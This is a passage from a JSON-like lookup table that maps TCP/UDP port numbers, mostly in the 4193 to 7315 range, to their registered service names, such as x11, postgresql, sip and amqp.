"azeti-bd", "4193": "pvxplusio", "4199": "eims-admin", "4200": "vrml-multi-use", "4201": "vrml-multi-use", "4202": "vrml-multi-use", "4203": "vrml-multi-use", "4204": "vrml-multi-use", "4205": "vrml-multi-use", "4206": "vrml-multi-use", "4207": "vrml-multi-use", "4208": "vrml-multi-use", "4209": "vrml-multi-use", "4210": "vrml-multi-use", "4211": "vrml-multi-use", "4212": "vrml-multi-use", "4213": "vrml-multi-use", "4214": "vrml-multi-use", "4215": "vrml-multi-use", "4216": "vrml-multi-use", "4217": "vrml-multi-use", "4218": "vrml-multi-use", "4219": "vrml-multi-use", "4220": "vrml-multi-use", "4221": "vrml-multi-use", "4222": "vrml-multi-use", "4223": "vrml-multi-use", "4224": "vrml-multi-use", "4225": "vrml-multi-use", "4226": "vrml-multi-use", "4227": "vrml-multi-use", "4228": "vrml-multi-use", "4229": "vrml-multi-use", "4230": "vrml-multi-use", "4231": "vrml-multi-use", "4232": "vrml-multi-use", "4233": "vrml-multi-use", "4234": "vrml-multi-use", "4235": "vrml-multi-use", "4236": "vrml-multi-use", "4237": "vrml-multi-use", "4238": "vrml-multi-use", "4239": "vrml-multi-use", "4240": "vrml-multi-use", "4241": "vrml-multi-use", "4242": "vrml-multi-use", "4243": "vrml-multi-use", "4244": "vrml-multi-use", "4245": "vrml-multi-use", "4246": "vrml-multi-use", "4247": "vrml-multi-use", "4248": "vrml-multi-use", "4249": "vrml-multi-use", "4250": "vrml-multi-use", "4251": "vrml-multi-use", "4252": "vrml-multi-use", "4253": "vrml-multi-use", "4254": "vrml-multi-use", "4255": "vrml-multi-use", "4256": "vrml-multi-use", "4257": "vrml-multi-use", "4258": "vrml-multi-use", "4259": "vrml-multi-use", "4260": "vrml-multi-use", "4261": "vrml-multi-use", "4262": "vrml-multi-use", "4263": "vrml-multi-use", "4264": "vrml-multi-use", "4265": "vrml-multi-use", "4266": "vrml-multi-use", "4267": "vrml-multi-use", "4268": "vrml-multi-use", "4269": "vrml-multi-use", "4270": "vrml-multi-use", "4271": "vrml-multi-use", "4272": "vrml-multi-use", "4273": "vrml-multi-use", "4274": "vrml-multi-use", "4275": "vrml-multi-use", "4276": "vrml-multi-use", "4277": "vrml-multi-use", "4278": "vrml-multi-use", "4279": "vrml-multi-use", "4280": "vrml-multi-use", "4281": "vrml-multi-use", "4282": "vrml-multi-use", "4283": "vrml-multi-use", "4284": "vrml-multi-use", "4285": "vrml-multi-use", "20670": "track", "4287": "vrml-multi-use", "4288": "vrml-multi-use", "4289": "vrml-multi-use", "4290": "vrml-multi-use", "4291": "vrml-multi-use", "4292": "vrml-multi-use", "4293": "vrml-multi-use", "4294": "vrml-multi-use", "4295": "vrml-multi-use", "4296": "vrml-multi-use", "4297": "vrml-multi-use", "4298": "vrml-multi-use", "4299": "vrml-multi-use", "4300": "corelccam", "4301": "d-data", "4302": "d-data-control", "4303": "srcp", "4304": "owserver", "4305": "batman", "4306": "pinghgl", "4307": "visicron-vs", "4308": "compx-lockview", "4309": "dserver", "4310": "mirrtex", "4311": "p6ssmc", "4312": "pscl-mgt", "4313": "perrla", "4314": "choiceview-agt", "4316": "choiceview-clt", "4320": "fdt-rcatp", "4321": "rwhois", "4322": "trim-event", "4323": "trim-ice", "4325": "geognosisman", "4326": "geognosis", "4327": "jaxer-web", "4328": "jaxer-manager", "4329": "publiqare-sync", "4330": "dey-sapi", "4331": "ktickets-rest", "4333": "ahsp", "4334": "netconf-ch-ssh", "4335": "netconf-ch-tls", "4336": "restconf-ch-tls", "4340": "gaia", "4341": "lisp-data", "4342": "lisp-control", "4343": "unicall", "4344": "vinainstall", "4345": "m4-network-as", "4346": "elanlm", "4347": "lansurveyor", "4348": "itose", "4349": "fsportmap", "4350": "net-device", "4351": "plcy-net-svcs", "4352": "pjlink", "4353": "f5-iquery", "4354": "qsnet-trans", "4355": "qsnet-workst", "4356": "qsnet-assist", "4357": "qsnet-cond", "4358": "qsnet-nucl", "4359": "omabcastltkm", "4360": "matrix-vnet", "4361": "nacnl", "4362": "afore-vdp-disc", "4366": "shadowstream", "4368": "wxbrief", "4369": "epmd", "4370": "elpro-tunnel", "4371": "l2c-disc", "4372": "l2c-data", "4373": "remctl", "4374": "psi-ptt", "4375": "tolteces", "4376": "bip", "4377": "cp-spxsvr", "4378": "cp-spxdpy", "4379": "ctdb", "4389": "xandros-cms", "4390": "wiegand", "4391": "apwi-imserver", "4392": "apwi-rxserver", "4393": "apwi-rxspooler", "4394": "apwi-disc", "4395": "omnivisionesx", "4396": "fly", "4400": "ds-srv", "4401": "ds-srvr", "4402": "ds-clnt", "4403": "ds-user", "4404": "ds-admin", "4405": "ds-mail", "4406": "ds-slp", "4407": "nacagent", "4408": "slscc", "4409": "netcabinet-com", "4410": "itwo-server", "4411": "found", "4412": "smallchat", "4413": "avi-nms-disc", "4414": "updog", "4415": "brcd-vr-req", "4416": "pjj-player-disc", "4417": "workflowdir", "4418": "axysbridge", "4419": "cbp", "4420": "nvm-express", "4421": "scaleft", "4422": "tsepisp", "4423": "thingkit", "4425": "netrockey6", "4426": "beacon-port-2", "4427": "drizzle", "4428": "omviserver", "4429": "omviagent", "4430": "rsqlserver", "4431": "wspipe", "4432": "l-acoustics", "4433": "vop", "4441": "netblox", "4442": "saris", "4443": "pharos", "4444": "nv-video", "4445": "upnotifyp", "4446": "n1-fwp", "4447": "n1-rmgmt", "4448": "asc-slmd", "4449": "privatewire", "4450": "camp", "4451": "ctisystemmsg", "4452": "ctiprogramload", "4453": "nssalertmgr", "4454": "nssagentmgr", "4455": "prchat-user", "4456": "prchat-server", "4457": "prRegister", "4458": "mcp", "4484": "hpssmgmt", "4485": "assyst-dr", "4486": "icms", "4487": "prex-tcp", "4488": "awacs-ice", "4500": "ipsec-nat-t", "4502": "a25-fap-fgw", "4534": "armagetronad", "4535": "ehs", "4536": "ehs-ssl", "4537": "wssauthsvc", "4538": "swx-gate", "4545": "worldscores", "4546": "sf-lm", "4547": "lanner-lm", "4548": "synchromesh", "4549": "aegate", "4550": "gds-adppiw-db", "4551": "ieee-mih", "4552": "menandmice-mon", "4553": "icshostsvc", "4554": "msfrs", "4555": "rsip", "4556": "dtn-bundle", "4557": "mtcevrunqss", "4558": "mtcevrunqman", "4559": "hylafax", "4563": "amahi-anywhere", "4566": "kwtc", "4567": "tram", "4568": "bmc-reporting", "4569": "iax", "4570": "deploymentmap", "4573": "cardifftec-back", "4590": "rid", "4591": "l3t-at-an", "4592": "hrpd-ith-at-an", "4593": "ipt-anri-anri", "4594": "ias-session", "4595": "ias-paging", "4596": "ias-neighbor", "4597": "a21-an-1xbs", "4598": "a16-an-an", "4599": "a17-an-an", "4600": "piranha1", "4601": "piranha2", "4602": "mtsserver", "4603": "menandmice-upg", "4604": "irp", "4605": "sixchat", "20999": "athand-mmp", "21000": "irtrans", "4621": "ventoso", "21010": "notezilla-lan", "4658": "playsta2-app", "4659": "playsta2-lob", "4660": "smaclmgr", "4661": "kar2ouche", "4662": "oms", "4663": "noteit", "4664": "ems", "4665": "contclientms", "4666": "eportcomm", "4667": "mmacomm", "4668": "mmaeds", "4669": "eportcommdata", "4670": "light", "4671": "acter", "4672": "rfa", "4673": "cxws", "4674": "appiq-mgmt", "4675": "dhct-status", "4676": "dhct-alerts", "4677": "bcs", "4678": "traversal", "4679": "mgesupervision", "4680": "mgemanagement", "4681": "parliant", "4682": "finisar", "4683": "spike", "4684": "rfid-rp1", "4685": "autopac", "4686": "msp-os", "4687": "nst", "4688": "mobile-p2p", "4689": "altovacentral", "4690": "prelude", "4691": "mtn", "4692": "conspiracy", "4700": "netxms-agent", "4701": "netxms-mgmt", "4702": "netxms-sync", "4703": "npqes-test", "4704": "assuria-ins", "37475": "neckar", "37483": "gdrive-sync", "4725": "truckstar", "4726": "a26-fap-fgw", "4727": "fcis-disc", "4728": "capmux", "4729": "gsmtap", "4730": "gearman", "4731": "remcap", "4732": "ohmtrigger", "4733": "resorcs", "4737": "ipdr-sp", "4738": "solera-lpn", "4739": "ipfix", "4740": "ipfixs", "4741": "lumimgrd", "4742": "sicct-sdp", "4743": "openhpid", "4744": "ifsp", "4745": "fmp", "4747": "buschtrommel", "4749": "profilemac", "4750": "ssad", "4751": "spocp", "4752": "snap", "4753": "simon-disc", "4784": "bfd-multi-ctl", "4785": "cncp", "4786": "smart-install", "4787": "sia-ctrl-plane", "4788": "xmcp", "4789": "vxlan", "4790": "vxlan-gpe", "4791": "roce", "4800": "iims", "4801": "iwec", "4802": "ilss", "4803": "notateit-disc", "4804": "aja-ntv4-disc", "801": "device", "4827": "htcp", "37601": "eftp", "4837": "varadero-0", "4838": "varadero-1", "4839": "varadero-2", "4840": "opcua-udp", "4841": "quosa", "4842": "gw-asv", "4843": "opcua-tls", "4844": "gw-log", "4845": "wcr-remlib", "4846": "contamac-icm", "4847": "wfc", "4848": "appserv-http", "4849": "appserv-https", "4850": "sun-as-nodeagt", "4851": "derby-repli", "4867": "unify-debug", "4868": "phrelay", "4869": "phrelaydbg", "4870": "cc-tracking", "4871": "wired", "4876": "tritium-can", "4877": "lmcs", "4878": "inst-discovery", "4879": "wsdl-event", "4880": "hislip", "4881": "socp-t", "4882": "socp-c", "4883": "wmlserver", "4884": "hivestor", "4885": "abbs", "37654": "unisys-eportal", "4894": "lyskom", "4899": "radmin-port", "4900": "hfcs", "4901": "flr-agent", "4902": "magiccontrol", "4912": "lutap", "4913": "lutcp", "4914": "bones", "4915": "frcs", "4936": "an-signaling", "4937": "atsc-mh-ssc", "4940": "eq-office-4940", "4941": "eq-office-4941", "4942": "eq-office-4942", "4949": "munin", "4950": "sybasesrvmon", "4951": "pwgwims", "4952": "sagxtsds", "4953": "dbsyncarbiter", "4969": "ccss-qmm", "4970": "ccss-qsm", "4980": "ctxs-vpp", "4984": "webyast", "4985": "gerhcs", "4986": "mrip", "4987": "smar-se-port1", "4988": "smar-se-port2", "4989": "parallel", "4990": "busycal", "4991": "vrt", "4999": "hfcs-manager", "5000": "commplex-main", "5001": "commplex-link", "5002": "rfe", "5003": "fmpro-internal", "5004": "avt-profile-1", "5005": "avt-profile-2", "5006": "wsm-server", "5007": "wsm-server-ssl", "5008": "synapsis-edge", "5009": "winfs", "5010": "telelpathstart", "5011": "telelpathattack", "5012": "nsp", "5013": "fmpro-v6", "5014": "onpsocket", "5015": "fmwp", "5020": "zenginkyo-1", "5021": "zenginkyo-2", "5022": "mice", "5023": "htuilsrv", "5024": "scpi-telnet", "5025": "scpi-raw", "5026": "strexec-d", "5027": "strexec-s", "5028": "qvr", "5029": "infobright", "5030": "surfpass", "5031": "dmp", "5032": "signacert-agent", "5033": "jtnetd-server", "5034": "jtnetd-status", "5042": "asnaacceler8db", "5043": "swxadmin", "5044": "lxi-evntsvc", "5045": "osp", "5046": "vpm-udp", "5047": "iscape", "5048": "texai", "5049": "ivocalize", "5050": "mmcc", "5051": "ita-agent", "5052": "ita-manager", "5053": "rlm-disc", "5054": "rlm-admin", "5055": "unot", "5056": "intecom-ps1", "5057": "intecom-ps2", "5058": "locus-disc", "5059": "sds", "5060": "sip", "5061": "sips", "5062": "na-localise", "5063": "csrpc", "5064": "ca-1", "5065": "ca-2", "5066": "stanag-5066", "5067": "authentx", "5068": "bitforestsrv", "5069": "i-net-2000-npr", "5070": "vtsas", "5071": "powerschool", "5072": "ayiya", "5073": "tag-pm", "5074": "alesquery", "5075": "pvaccess", "5078": "pixelpusher", "5079": "cp-spxrpts", "5080": "onscreen", "5081": "sdl-ets", "5082": "qcp", "5083": "qfp", "5084": "llrp", "5085": "encrypted-llrp", "5086": "aprigo-cs", "5087": "biotic", "5090": "car", "5091": "cxtp", "5092": "magpie", "5093": "sentinel-lm", "5094": "hart-ip", "5099": "sentlm-srv2srv", "5100": "socalia", "5101": "talarian-udp", "5102": "oms-nonsecure", "5103": "actifio-c2c", "5104": "tinymessage", "5105": "hughes-ap", "5106": "actifioudsagent", "5107": "actifioreplic", "5111": "taep-as-svc", "5112": "pm-cmdsvr", "5114": "ev-services", "5115": "autobuild", "5116": "emb-proj-cmd", "5117": "gradecam", "5120": "barracuda-bbs", "5133": "nbt-pc", "5134": "ppactivation", "5135": "erp-scale", "5136": "minotaur-sa", "5137": "ctsd", "5145": "rmonitor-secure", "5146": "social-alarm", "5150": "atmp", "5151": "esri-sde", "5152": "sde-discovery", "5153": "toruxserver", "5154": "bzflag", "5155": "asctrl-agent", "5156": "rugameonline", "5157": "mediat", "5161": "snmpssh", "5162": "snmpssh-trap", "5163": "sbackup", "5164": "vpa-disc", "5165": "ife-icorp", "5166": "winpcs", "5167": "scte104", "5168": "scte30", "21553": "rdm-tfs", "21554": "dfserver", "5172": "pcoip-mgmt", "5190": "aol", "5191": "aol-1", "5192": "aol-2", "5193": "aol-3", "5194": "cpscomm", "5195": "ampl-lic", "5196": "ampl-tableproxy", "5197": "tunstall-lwp", "5200": "targus-getdata", "5201": "targus-getdata1", "5202": "targus-getdata2", "5203": "targus-getdata3", "21590": "vofr-gateway", "5209": "nomad", "5215": "noteza", "5221": "3exmp", "5222": "xmpp-client", "5223": "hpvirtgrp", "5224": "hpvirtctrl", "5225": "hp-server", "5226": "hp-status", "5227": "perfd", "5228": "hpvroom", "5229": "jaxflow", "5230": "jaxflow-data", "5231": "crusecontrol", "38000": "ivs-database", "38001": "ivs-insertion", "38002": "crescoctrl-disc", "5235": "galaxy-network", "5236": "padl2sim", "5237": "mnet-discovery", "5245": "downtools-disc", "5246": "capwap-control", "5247": "capwap-data", "5248": "caacws", "5249": "caaclang2", "5250": "soagateway", "5251": "caevms", "5252": "movaz-ssc", "5253": "kpdp", "5254": "logcabin", "5264": "3com-njack-1", "5265": "3com-njack-2", "5269": "xmpp-server", "5270": "cartographerxmp", "5271": "cuelink-disc", "5272": "pk", "5280": "xmpp-bosh", "5281": "undo-lm", "5282": "transmit-port", "5298": "presence", "5299": "nlg-data", "5300": "hacl-hb", "3614": "sigma-port", "5302": "hacl-cfg", "5303": "hacl-probe", "5304": "hacl-local", "5305": "hacl-test", "5306": "sun-mc-grp", "3615": "start-network", "5308": "cfengine", "5309": "jprinter", "5310": "outlaws", "5312": "permabit-cs", "3616": "cd3o-protocol", "5314": "opalis-rbt-ipc", "5315": "hacl-poll", "5316": "hpbladems", "5317": "hpdevms", "5318": "pkix-cmc", "20001": "microsan", "5320": "bsfserver-zn", "5321": "bsfsvr-zn-ssl", "3618": "aairnet-1", "888": "cddbp", "3619": "aairnet-2", "32769": "filenet-rpc", "3621": "ep-nsp", "5344": "xkotodrcp", "5349": "turns", "5350": "pcp-multicast", "5351": "pcp", "5352": "dns-llq", "5353": "mdns", "5354": "mdnsresponder", "5355": "llmnr", "5356": "ms-smlbiz", "5357": "wsdapi", "5358": "wsdapi-s", "5359": "ms-alerter", "5360": "ms-sideshow", "5361": "ms-s-sideshow", "5362": "serverwsd2", "5363": "net-projection", "5364": "kdnet", "9087": "classic", "3628": "ept-machine", "20013": "ss-idi", "3630": "cs-remote-db", "5398": "elektron-admin", "5399": "securitychase", "5400": "excerpt", "5401": "excerpts", "5402": "mftp", "5403": "hpoms-ci-lstn", "5404": "hpoms-dps-lstn", "5405": "netsupport", "5406": "systemics-sox", "5407": "foresyte-clear", "5408": "foresyte-sec", "5409": "salient-dtasrv", "5410": "salient-usrmgr", "5411": "actnet", "5412": "continuus", "5413": "wwiotalk", "5414": "statusd", "5415": "ns-server", "21800": "tvpm", "5417": "sns-agent", "5418": "mcntp", "5419": "dj-ice", "5420": "cylink-c", "5421": "netsupport2", "5422": "salient-mux", "5423": "virtualuser", "5424": "beyond-remote", "5425": "br-channel", "5426": "devbasic", "5427": "sco-peer-tta", "5428": "telaconsole", "5429": "base", "5430": "radec-corp", "5431": "park-agent", "5432": "postgresql", "38201": "galaxy7-data", "38202": "fairview", "38203": "agpolicy", "5436": "pmip6-cntl", "5437": "pmip6-data", "5443": "spss", "5445": "smbdirect", "5450": "tiepie-disc", "5453": "surebox", "5454": "apc-5454", "5455": "apc-5455", "5456": "apc-5456", "5461": "silkmeter", "5462": "ttl-publisher", "5463": "ttlpriceproxy", "21848": "netspeak-acd", "21849": "netspeak-cps", "5470": "apsolab-col", "5471": "apsolab-cols", "5472": "apsolab-tag", "5473": "apsolab-tags", "5474": "apsolab-rpc", "5475": "apsolab-data", "3644": "ssowatch", "32770": "filenet-nch", "5500": "fcp-addr-srvr1", "5501": "fcp-addr-srvr2", "5502": "fcp-srvr-inst1", "5503": "fcp-srvr-inst2", "5504": "fcp-cics-gw1", "5505": "checkoutdb", "5506": "amc", "5507": "psl-management", "3650": "prismiq-plugin", "3654": "vaprtm", "3655": "abatemgr", "3656": "abatjss", "5554": "sgi-esphttp", "5555": "personal-agent", "5556": "freeciv", "5557": "farenet", "5565": "hpe-dp-bura", "5566": "westec-connect", "5567": "dof-dps-mc-sec", "5568": "sdt", "5569": "rdmnet-device", "5573": "sdmmp", "5574": "lsi-bobcat", "5575": "ora-oap", "5579": "fdtracks", "5580": "tmosms0", "5581": "tmosms1", "5582": "fac-restore", "5583": "tmo-icon-sync", "5584": "bis-web", "5585": "bis-sync", "5586": "att-mt-sms", "3662": "pserver", "5597": "ininmessaging", "5598": "mctfeed", "5599": "esinstall", "5600": "esmmanager", "5601": "esmagent", "5602": "a1-msc", "5603": "a1-bs", "5604": "a3-sdunode", "5605": "a4-sdunode", "3665": "ent-engine", "22000": "snapenetio", "22001": "optocontrol", "5618": "efr", "3667": "infoexch", "22004": "optohost004", "22005": "optohost004", "5627": "ninaf", "5628": "htrust", "5629": "symantec-sfdb", "5630": "precise-comm", "5631": "pcanywheredata", "5632": "pcanywherestat", "5633": "beorl", "5634": "xprtld", "5635": "sfmsso", "5636": "sfm-db-server", "5637": "cssc", "5638": "flcrs", "5639": "ics", "5646": "vfmobile", "3673": "mediavault-gui", "3675": "calltrax", "5670": "zre-disc", "5671": "amqps", "5672": "amqp", "3676": "va-pacbase", "5674": "hyperscsi-port", "5675": "v5ua", "5676": "raadmin", "5677": "questdb2-lnchr", "5678": "rrac", "5679": "dccm", "5680": "auriga-router", "5681": "ncxcp", "5682": "brightcore", "5683": "coap", "5684": "coaps", "5687": "gog-multiplayer", "5688": "ggz", "5689": "qmvideo", "5693": "rbsystem", "5696": "kmip", "5700": "supportassist", "5713": "proshareaudio", "5714": "prosharevideo", "5715": "prosharedata", "5716": "prosharerequest", "5717": "prosharenotify", "5718": "dpm", "5719": "dpm-agent", "5720": "ms-licensing", "5721": "dtpt", "5722": "msdfsr", "5723": "omhs", "5724": "omsdk", "5725": "ms-ilm", "5726": "ms-ilm-sts", "5727": "asgenf", "5728": "io-dist-group", "5729": "openmail", "5730": "unieng", "22125": "dcap", "5742": "ida-discover2", "5743": "watchdoc-pod", "22128": "gsidcap", "5745": "fcopy-server", "5746": "fcopys-server", "5747": "tunatic", "5748": "tunalyzer", "5750": "rscd", "5755": "openmailg", "5757": "x500ms", "5766": "openmailns", "5767": "s-openmail", "5768": "openmailpxy", "5769": "spramsca", "5770": "spramsd", "5771": "netagent", "5777": "dali-port", "5780": "vts-rpc", "5781": "3par-evts", "5782": "3par-mgmt", "5783": "3par-mgmt-ssl", "5784": "ibar", "5785": "3par-rcopy", "5786": "cisco-redu", "5787": "waascluster", "5793": "xtreamx", "5794": "spdp", "5813": "icmpd", "5814": "spt-automation", "22222": "easyengine", "5841": "shiprush-d-ch", "5842": "reversion", "5859": "wherehoo", "5863": "ppsuitemsg", "5868": "diameters", "5883": "jute", "22273": "wnn6", "5900": "rfb", "34567": "dhanalakshmi", "5910": "cm", "5911": "cpdlc", "5912": "fis", "5913": "ads-c", "22305": "cis", "22335": "shrewd-stream", "22343": "cis-secure", "22347": "wibukey", "22350": "codemeter", "22351": "codemeter-cmwan", "5968": "mppolicy-v5", "5969": "mppolicy-mgr", "997": "maitrd", "5984": "couchdb", "5985": "wsman", "5986": "wsmans", "5987": "wbem-rmi", "5988": "wbem-http", "5989": "wbem-https", "5990": "wbem-exp-https", "5991": "nuxsl", "5992": "consul-insight", "5993": "cim-rs", "5999": "cvsup", "6000": "x11", "6001": "x11", "6002": "x11", "6003": "x11", "6004": "x11", "6005": "x11", "6006": "x11", "6007": "x11", "6008": "x11", "6009": "x11", "6010": "x11", "6011": "x11", "6012": "x11", "6013": "x11", "6014": "x11", "6015": "x11", "6016": "x11", "6017": "x11", "6018": "x11", "6019": "x11", "6020": "x11", "6021": "x11", "6022": "x11", "6023": "x11", "6024": "x11", "6025": "x11", "6026": "x11", "6027": "x11", "6028": "x11", "6029": "x11", "6030": "x11", "6031": "x11", "6032": "x11", "6033": "x11", "6034": "x11", "6035": "x11", "6036": "x11", "6037": "x11", "6038": "x11", "6039": "x11", "6040": "x11", "6041": "x11", "6042": "x11", "6043": "x11", "6044": "x11", "6045": "x11", "6046": "x11", "6047": "x11", "6048": "x11", "6049": "x11", "6050": "x11", "3739": "launchbird-lm", "6052": "x11", "6053": "x11", "6054": "x11", "6055": "x11", "6056": "x11", "6057": "x11", "6058": "x11", "6059": "x11", "6060": "x11", "6061": "x11", "6062": "x11", "6063": "x11", "6064": "ndl-ahp-svc", "6065": "winpharaoh", "6066": "ewctsp", "6068": "gsmp-ancp", "6069": "trip", "6070": "messageasap", "6071": "ssdtp", "6072": "diagnose-proc", "6073": "directplay8", "6074": "max", "6075": "dpm-acm", "6076": "msft-dpm-cert", "6077": "iconstructsrv", "6080": "gue", "6081": "geneve", "6082": "p25cai", "6083": "miami-bcast", "6084": "reload-config", "6085": "konspire2b", "6086": "pdtp", "6087": "ldss", "6088": "doglms-notify", "38865": "secrmmsafecopya", "6099": "raxa-mgmt", "6100": "synchronet-db", "6101": "synchronet-rtc", "6102": "synchronet-upd", "6103": "rets", "6104": "dbdb", "6105": "primaserver", "6106": "mpsserver", "2931": "circle-x", "6108": "sercomm-scadmin", "6109": "globecast-id", "6110": "softcm", "6111": "spc", "6112": "dtspcd", "6113": "dayliteserver", "6114": "wrspice", "6115": "xic", "6116": "xtlserv", "6117": "daylitetouch", "6118": "tipc", "6121": "spdy", "6122": "bex-webadmin", "6123": "backup-express", "6124": "pnbs", "6130": "damewaremobgtwy", "6133": "nbt-wol", "6140": "pulsonixnls", "6141": "meta-corp", "6142": "aspentec-lm", "6143": "watershed-lm", "6144": "statsci1-lm", "6145": "statsci2-lm", "6146": "lonewolf-lm", "6147": "montage-lm", "6148": "ricardo-lm", "6149": "tal-pod", "22537": "caldsoft-backup", "6159": "efb-aci", "6160": "ecmp-data", "6161": "patrol-ism", "6162": "patrol-coll", "6163": "pscribe", "22555": "vocaltec-wconf", "6200": "lm-x", "6201": "thermo-calc", "6209": "qmtps", "6222": "radmind", "6241": "jeol-nsdtp-1", "6242": "jeol-nsdtp-2", "6243": "jeol-nsdtp-3", "6244": "jeol-nsdtp-4", "6251": "tl1-raw-ssl", "6252": "tl1-ssh", "6253": "crip", "6267": "gld", "6268": "grid", "6269": "grid-alt", "6300": "bmc-grx", "6301": "bmc-ctd-ldap", "6306": "ufmp", "6315": "scup-disc", "6316": "abb-escp", "6317": "nav-data-cmd", "6320": "repsvc", "6321": "emp-server1", "6322": "emp-server2", "6324": "hrd-ns-disc", "6325": "dt-mgmtsvc", "6326": "dt-vra", "6343": "sflow", "6344": "streletz", "6346": "gnutella-svc", "6347": "gnutella-rtr", "6350": "adap", "6355": "pmcs", "6360": "metaedit-mu", "6363": "ndn", "6370": "metaedit-se", "3643": "audiojuggler", "22763": "talikaserver", "6382": "metatude-mds", "6389": "clariion-evr01", "6390": "metaedit-ws", "6400": "boe-cms", "6401": "boe-was", "6402": "boe-eventsrv", "6403": "boe-cachesvr", "6404": "boe-filesvr", "6405": "boe-pagesvr", "6406": "boe-processsvr", "6407": "boe-resssvr1", "6408": "boe-resssvr2", "6409": "boe-resssvr3", "6410": "boe-resssvr4", "22800": "aws-brf", "6417": "faxcomservice", "6418": "syserverremote", "6419": "svdrp-disc", "6420": "nim-vdrshell", "6421": "nim-wan", "5464": "quailnet", "6432": "pgbouncer", "6442": "tarp", "6443": "sun-sr-https", "6444": "sge-qmaster", "6445": "sge-execd", "6446": "mysql-proxy", "6455": "skip-cert-recv", "6456": "skip-cert-send", "6471": "lvision-lm", "6480": "sun-sr-http", "6481": "servicetags", "6482": "ldoms-mgmt", "6483": "SunVTS-RMI", "6484": "sun-sr-jms", "6485": "sun-sr-iiop", "6486": "sun-sr-iiops", "6487": "sun-sr-iiop-aut", "6488": "sun-sr-jmx", "6489": "sun-sr-admin", "6500": "boks", "6501": "boks-servc", "6502": "boks-servm", "6503": "boks-clntd", "6505": "badm-priv", "6506": "badm-pub", "6507": "bdir-priv", "6508": "bdir-pub", "6509": "mgcs-mfp-port", "6510": "mcer-port", "6511": "dccp-udp", "6513": "netconf-tls", "6514": "syslog-tls", "6515": "elipse-rec", "3818": "crinis-hb", "5673": "jms", "6543": "lds-distrib", "6544": "lds-dump", "6547": "apc-6547", "6548": "apc-6548", "6549": "apc-6549", "6550": "fg-sysupdate", "6551": "sum", "6558": "xdsxdm", "6566": "sane-port", "22951": "brf-gw", "6568": "rp-reputation", "6579": "affiliate", "6580": "parsec-master", "6581": "parsec-peer", "6582": "parsec-game", "6583": "joaJewelSuite", "6600": "mshvlm", "6601": "mstmg-sstp", "6602": "wsscomfrmwk", "23000": "inovaport1", "23001": "inovaport2", "23002": "inovaport3", "23003": "inovaport4", "6620": "kftp-data", "36602": "observium-agent", "6622": "mcftp", "6623": "ktelnet", "6624": "datascaler-db", "6625": "datascaler-ctl", "6626": "wago-service", "6627": "nexgen", "6628": "afesc-mc", "6632": "mxodbc-connect", "6633": "cisco-vpath-tun", "6634": "mpls-pm", "6635": "mpls-udp", "6636": "mpls-udp-dtls", "6640": "ovsdb", "3838": "sos", "6653": "openflow", "6655": "pcs-sf-ui-man", "6656": "emgmsg", "6657": "palcom-disc", "6665": "ircu", "6666": "ircu", "6667": "ircu", "6668": "ircu", "6669": "ircu", "6670": "vocaltec-gold", "6671": "p4p-portal", "6672": "vision-server", "6673": "vision-elmd", "6678": "vfbp-disc", "6679": "osaut", "6687": "clever-ctrace", "6688": "clever-tcpip", "6689": "tsa", "6690": "cleverdetect", "6696": "babel", "1116": "ardus-cntl", "6701": "kti-icad-srvr", "6702": "e-design-net", "6703": "e-design-web", "6704": "frc-hp", "6705": "frc-mp", "6706": "frc-lp", "6714": "ibprotocol", "6715": "fibotrader-com", "6716": "princity-agent", "6767": "bmc-perf-agent", "6768": "bmc-perf-mgrd", "6769": "adi-gxp-srvprt", "6770": "plysrv-http", "6771": "plysrv-https", "6777": "ntz-tracker", "6778": "ntz-p2p-storage", "6784": "bfd-lag", "6785": "dgpf-exchg", "6786": "smc-jmx", "6787": "smc-admin", "6788": "smc-http", "6789": "smc-https", "6790": "hnmp", "6791": "hnm", "6801": "acnet", "6817": "pentbox-sim", "6831": "ambit-lm", "6841": "netmo-default", "6842": "netmo-http", "6850": "iccrushmore", "6868": "acctopus-st", "23272": "s102", "6901": "jetstream", "23294": "5afe-disc", "39681": "turbonote-1", "6935": "ethoscan", "6936": "xsmsvc", "6946": "bioserver", "6619": "odette-ftps", "23333": "elxmgmt", "6951": "otlp", "23004": "inovaport5", "23005": "inovaport6", "6961": "jmact3", "6962": "jmevt2", "6963": "swismgr1", "6964": "swismgr2", "6965": "swistrap", "6966": "swispol", "6969": "acmsoda", "6970": "conductor-mpx", "6997": "MobilitySrv", "6998": "iatp-highpri", "6999": "iatp-normalpri", "7000": "afs3-fileserver", "7001": "afs3-callback", "7002": "afs3-prserver", "7003": "afs3-vlserver", "7004": "afs3-kaserver", "7005": "afs3-volser", "7006": "afs3-errors", "7007": "afs3-bos", "7008": "afs3-update", "7009": "afs3-rmtsys", "7010": "ups-onlinet", "7011": "talon-disc", "7012": "talon-engine", "7013": "microtalon-dis", "7014": "microtalon-com", "7015": "talon-webserver", "23400": "novar-dbase", "23401": "novar-alarm", "7018": "fisa-svc", "7019": "doceri-view", "7020": "dpserve", "7021": "dpserveadmin", "7022": "ctdp", "7023": "ct2nmcs", "7024": "vmsvc", "7025": "vmsvc-2", "1171": "atc-appserver", "7030": "op-probe", "7031": "iposplanet", "7040": "quest-disc", "7070": "arcp", "7071": "iwg1", "23456": "aequus", "23457": "aequus-alt", "7080": "empowerid", "7088": "zixi-transport", "7095": "jdp-disc", "7099": "lazy-ptop", "7100": "font-service", "7101": "elcn", "7107": "aes-x170", "7117": "rothaga", "7121": "virprot-lm", "7128": "scenidm", "7129": "scenccs", "7161": "cabsm-comm", "23546": "areaguard-neo", "7163": "cacsambroker", "7164": "fsr", "7165": "doc-server", "7166": "aruba-server", "7167": "casrmagent", "7168": "cnckadserver", "7169": "ccag-pib", "7170": "nsrp", "7171": "drm-production", "7172": "metalbend", "7173": "zsecure", "7174": "clutild", "5465": "netops-broker", "7200": "fodms", "7201": "dlip", "3932": "dyn-site", "7215": "PS-Server", "7216": "PS-Capture-Pro", "7227": "ramp", "7228": "citrixupp", "7229": "citrixuppg", "40000": "safetynetp", "7235": "aspcoordination", "7236": "display", "7237": "pads", "7244": "frc-hicp-disc", "23053": "gntp", "40023": "k-patentssensor", "7262": "cnap", "7272": "watchme-7272", "7273": "oma-rlp", "7274": "oma-rlp-s", "7275": "oma-ulp", "7276": "oma-ilp", "7277": "oma-ilp-s", "7278": "oma-dcdocbs", "7279": "ctxlic", "7280": "itactionserver1", "7281": "itactionserver2", "7282": "mzca-alert", "7283": "genstat", "7300": "swx", "7301": "swx", "7302": "swx", "7303": "swx", "7304": "swx", "7305": "swx", "7306": "swx", "7307": "swx", "7308": "swx", "7309": "swx", "7310": "swx", "7311": "swx", "7312": "swx", "7313": "swx", "7314": "swx", "7315": "swx", 